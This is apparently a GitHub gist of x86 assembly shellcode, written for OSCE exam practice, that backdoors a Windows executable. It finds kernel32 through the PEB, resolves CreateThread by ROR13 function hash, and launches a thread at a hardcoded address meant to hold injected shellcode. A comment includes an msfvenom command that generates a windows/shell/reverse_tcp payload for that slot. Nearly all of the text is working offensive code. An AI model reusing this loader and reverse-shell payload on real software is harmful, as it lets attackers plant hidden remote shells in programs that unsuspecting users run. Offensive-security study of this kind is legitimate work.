Skip to content

Instantly share code, notes, and snippets.

@tophertimzen
Last active June 14, 2022 00:45
Show Gist options
  • Save tophertimzen/5d32f255292a0201853cb7009fc55fba to your computer and use it in GitHub Desktop.
Save tophertimzen/5d32f255292a0201853cb7009fc55fba to your computer and use it in GitHub Desktop.
Make a new Thread with Windows PEB -> Function Hash Resolver
; Topher Timzen
; Messing around with PE backdooring for CTP/OSCE and wanted to make a new thread inside of process to avoid synchronization issues.
; Tons of NULL as I used this in a PE directly, no need to avoid them.
; nasm CreateThread.asm -o CreateThread.raw; xxd -p CreateThread.raw | tr -d '\n'
[BITS 32]
[SECTION .text]
global _start
_start:
;Find Kernel32 Base Address
xor ecx, ecx ; trick to avoid null byte MOV EAX,[FS:0x30], we add ecx
MOV EAX, [FS:ecx+0x30] ; EAX = PEB
MOV EAX, [eax+0x0C] ; EAX = PEB->Ldr
MOV EAX, [EAX+0x14] ; EAX = PEB->Ldr.InMemoryOrderModuleList.Flink
; Start to move the pointer 2 positions ahead
mov eax, [eax+ecx] ; EAX = LDR 2nd entry -> KernelBA * + ecx to avoid NULL
mov eax, [eax+ecx] ; EAX = LDR 3rd entry -> Kernel32
; End move
MOV ebx, [EAX+0x10] ; EBX = LDR_MODULE's BaseAddress Kernel32
mov dword [ebp-4], ebx ; Kernel32 is now at ebp-4.
; Get CreateThread
push 0xCA2BD06B ; CreateThread
push dword [ebp-4] ; Kernel32 base address
call GetProcessAddress
; CreateThread to shellcode
; Make shellcode with exitfunc=Thread with msfvenom and find an address, non-ASLR, to plop it
; msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp -f hex exitfunc=thread LPORT=4444 LHOST="127.0.0.1"
push 0 ; LpThreadID
push 0 ; CreationFlags
push 0 ; lpParameter
push 0x004C30D0 ; lpStartAddress. CHANGE ME
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call eax ; CreateThread
jmp 0x94 ; Jump over the GetProcessAddress function
; Get an address of a function from a DLL
GetProcessAddress:
pushad ; push all registers
mov ebp, [esp + 0x24] ; base address of dll (Kernel32)
mov eax, [ebp + 0x3c] ; skip DOS header and go to PE header! We want export table
mov edx, [ebp + eax + 0x78] ; 0x78 offset from the PE header is the export table. PE header = 0xD0 + 0x78 = 0x148
add edx, ebp ; make the export table an absolute base address and put it in. MSDOS header + Import table = address.
mov ecx, [edx + 0x18] ; go into the export table and get the numberOfNames ;http://fumalwareanalysis.blogspot.com/2011/12/malware-analysis-tutorial-8-pe-header.html
mov ebx, [edx + 0x20] ; get the AddressOfNames offset.
add ebx, ebp ; AddressofNames base.
find_function_loop:
jecxz find_function_finished ; if ecx is zero, quit. nothing found.
dec ecx ; dec ECX by one for the loop until no matches are found or until one is.
mov esi, [ebx + ecx * 4] ; get a name to play with from the export table.
add esi, ebp ; esi is now the current name to search on.
find_hashes:
xor edi, edi
xor eax, eax
cld
continue_hashing:
lodsb ; moves esi to al to test end of string
test al, al ; is the end of string reached?
jz compute_hash_finished
ror edi, 0xd ; ROR13 for hash calculation
add edi, eax
jmp continue_hashing
compute_hash_finished:
cmp edi, [esp + 0x28] ; edi has the function hash, ESP + x028. 10 spots as I did a push eax, push edx before this call and did a pushad.
jnz find_function_loop ; didn't match, keep trying!
mov ebx, [edx + 0x24] ; put the address of the ordinal and put it in ebx.
add ebx, ebp ; get ordinal address in ebx.
mov cx, [ebx + 2 * ecx] ; ordinal = 2 bytes. Get the current ordinal and put it in cx. ECX was our counter for which # we were in.
mov ebx, [edx + 0x1c] ; extract the address table offset
add ebx, ebp ; put absolute address in EBX.
mov eax, [ebx + 4 * ecx] ; VMA
add eax, ebp
mov [esp + 0x1c], eax ; overwrite the stack copy of eax so that popad will return this.
find_function_finished:
popad
ret
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment